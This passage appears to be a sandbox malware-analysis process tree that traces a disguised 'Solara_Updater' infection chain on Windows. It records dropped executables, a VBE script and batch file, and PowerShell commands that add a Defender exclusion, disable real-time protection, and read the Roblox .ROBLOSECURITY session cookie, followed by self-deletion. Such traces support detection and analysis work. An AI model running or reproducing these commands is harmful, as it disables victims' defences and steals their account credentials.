                                                                                                      PID:2944
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                      11⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:2632
                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                        12⤵
                                                                                                          PID:1728
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                            13⤵
                                                                                                            • Loads dropped DLL
                                                                                                            PID:1080
                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                              14⤵
                                                                                                                PID:2700
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                          11⤵
                                                                                                            PID:1944
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                              12⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:1904
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                              12⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:2960
                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                13⤵
                                                                                                                  PID:2436
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                    14⤵
                                                                                                                    • Loads dropped DLL
                                                                                                                    PID:2280
                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                      15⤵
                                                                                                                        PID:2612
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                  12⤵
                                                                                                                    PID:2132
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                      13⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:2432
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                      13⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:2000
                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                        14⤵
                                                                                                                          PID:3068
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                            15⤵
                                                                                                                            • Loads dropped DLL
                                                                                                                            PID:1748
                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                              16⤵
                                                                                                                                PID:2712
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                          13⤵
                                                                                                                            PID:2624
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                              14⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:824
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                              14⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:1064
                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                15⤵
                                                                                                                                  PID:2180
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                    16⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    PID:1568
                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                      17⤵
                                                                                                                                        PID:776
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                  14⤵
                                                                                                                                    PID:864
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                      15⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:3052
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                      15⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:1548
                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                        16⤵
                                                                                                                                          PID:3048
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                            17⤵
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:2652
                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                              18⤵
                                                                                                                                                PID:2176
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                          15⤵
                                                                                                                                            PID:1632
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                              16⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:1356
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                              16⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2140
                                                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                17⤵
                                                                                                                                                  PID:468
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                    18⤵
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    PID:2704
                                                                                                                                                    • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                      "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                      19⤵
                                                                                                                                                        PID:1604
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                  16⤵
                                                                                                                                                    PID:1500
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                      17⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:996
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                      17⤵
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      PID:2428
                                                                                                                                                      • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                        "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                        18⤵
                                                                                                                                                          PID:2824
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                            19⤵
                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                            PID:2864
                                                                                                                                                            • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                              "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                              20⤵
                                                                                                                                                                PID:2568
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                          17⤵
                                                                                                                                                            PID:2812
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                              18⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:1952
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\XClient.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
                                                                                                                                                                19⤵
                                                                                                                                                                  PID:1916
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RustCheat.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                  19⤵
                                                                                                                                                                  • Drops file in Drivers directory
                                                                                                                                                                  PID:2396
                                                                                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                    "wmic.exe" csproduct get uuid
                                                                                                                                                                    20⤵
                                                                                                                                                                      PID:2092
                                                                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                                                                      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe"
                                                                                                                                                                      20⤵
                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                      PID:1308
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RustCheat.exe'
                                                                                                                                                                      20⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      PID:2436
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                                                                                                                                                      20⤵
                                                                                                                                                                        PID:304
                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                        20⤵
                                                                                                                                                                          PID:2008
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                          20⤵
                                                                                                                                                                            PID:2276
                                                                                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                            "wmic.exe" os get Caption
                                                                                                                                                                            20⤵
                                                                                                                                                                              PID:1308
                                                                                                                                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                              "wmic.exe" computersystem get totalphysicalmemory
                                                                                                                                                                              20⤵
                                                                                                                                                                                PID:2312
                                                                                                                                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                "wmic.exe" csproduct get uuid
                                                                                                                                                                                20⤵
                                                                                                                                                                                  PID:1484
                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                  20⤵
                                                                                                                                                                                    PID:1084
                                                                                                                                                                                  • C:\Windows\System32\Wbem\wmic.exe
                                                                                                                                                                                    "wmic" path win32_VideoController get name
                                                                                                                                                                                    20⤵
                                                                                                                                                                                    • Detects videocard installed
                                                                                                                                                                                    PID:1748
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RustCheat.exe" && pause
                                                                                                                                                                                    20⤵
                                                                                                                                                                                      PID:1292
                                                                                                                                                                                      • C:\Windows\system32\PING.EXE
                                                                                                                                                                                        ping localhost
                                                                                                                                                                                        21⤵
                                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                                        PID:2820
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                  18⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:344
                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                    19⤵
                                                                                                                                                                                      PID:2104
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                        20⤵
                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                        PID:2196
                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                          21⤵
                                                                                                                                                                                            PID:2148
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                      18⤵
                                                                                                                                                                                        PID:332
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                          19⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:308
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                          19⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:2260
                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                            20⤵
                                                                                                                                                                                              PID:2600
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                21⤵
                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                PID:1764
                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                    PID:2244
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                              19⤵
                                                                                                                                                                                                PID:988
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:1892
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:2928
                                                                                                                                                                                                  • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                    21⤵
                                                                                                                                                                                                      PID:1632
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                        PID:2068
                                                                                                                                                                                                        • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                          "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                          23⤵
                                                                                                                                                                                                            PID:848
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                        PID:2060
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                          21⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:1500
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                          21⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:1060
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                            "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                              PID:1100
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                23⤵
                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                PID:1332
                                                                                                                                                                                                                • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                  "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                    PID:1040
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                PID:1996
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  PID:3056
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                    PID:1384
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                      23⤵
                                                                                                                                                                                                                        PID:1948
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                          24⤵
                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                          PID:1780
                                                                                                                                                                                                                          • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                            "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                            25⤵
                                                                                                                                                                                                                              PID:756
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                          PID:1576
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                            23⤵
                                                                                                                                                                                                                              PID:1672
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                              23⤵
                                                                                                                                                                                                                                PID:268
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                                    PID:1908
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                      25⤵
                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                      PID:2744
                                                                                                                                                                                                                                      • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                        "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                          PID:804
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                    23⤵
                                                                                                                                                                                                                                      PID:2272
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                        24⤵
                                                                                                                                                                                                                                          PID:2572
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                          24⤵
                                                                                                                                                                                                                                            PID:1604
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                              25⤵
                                                                                                                                                                                                                                                PID:1944
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                  PID:2984
                                                                                                                                                                                                                                                  • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                    "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                    27⤵
                                                                                                                                                                                                                                                      PID:2072
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                24⤵
                                                                                                                                                                                                                                                  PID:2072
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                    25⤵
                                                                                                                                                                                                                                                      PID:2984
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                      25⤵
                                                                                                                                                                                                                                                        PID:2692
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                          "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                          26⤵
                                                                                                                                                                                                                                                            PID:2080
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                                              PID:2196
                                                                                                                                                                                                                                                              • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                28⤵
                                                                                                                                                                                                                                                                  PID:1156
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                            25⤵
                                                                                                                                                                                                                                                              PID:1640
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                26⤵
                                                                                                                                                                                                                                                                  PID:1652
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                  26⤵
                                                                                                                                                                                                                                                                    PID:2740
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                      27⤵
                                                                                                                                                                                                                                                                        PID:1544
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                          28⤵
                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                          PID:2840
                                                                                                                                                                                                                                                                          • C:\hostNet\bridgeblockportComBroker.exe
                                                                                                                                                                                                                                                                            "C:\hostNet/bridgeblockportComBroker.exe"
                                                                                                                                                                                                                                                                            29⤵
                                                                                                                                                                                                                                                                              PID:2740
                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe
                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Solara_Updater.exe"
                                                                                                                                                                                                                                                                        26⤵
                                                                                                                                                                                                                                                                          PID:2172
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\Loader.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                              PID:1088
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\sol.exe
                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\sol.exe"
                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                PID:2876
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WScript.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\WScript.exe" "C:\hostNet\rlqSVEj.vbe"
                                                                                                                                                                                                                                                                                  28⤵
                                                                                                                                                                                                                                                                                    PID:2668
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      cmd /c ""C:\hostNet\zzWFhk48sL1XAtcm8ZFwrdJ4Z261odQNEr02ajJCwirw.bat" "
                                                                                                                                                                                                                                                                                      29⤵
                                                                                                                                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                                                                                                                                      PID:2192
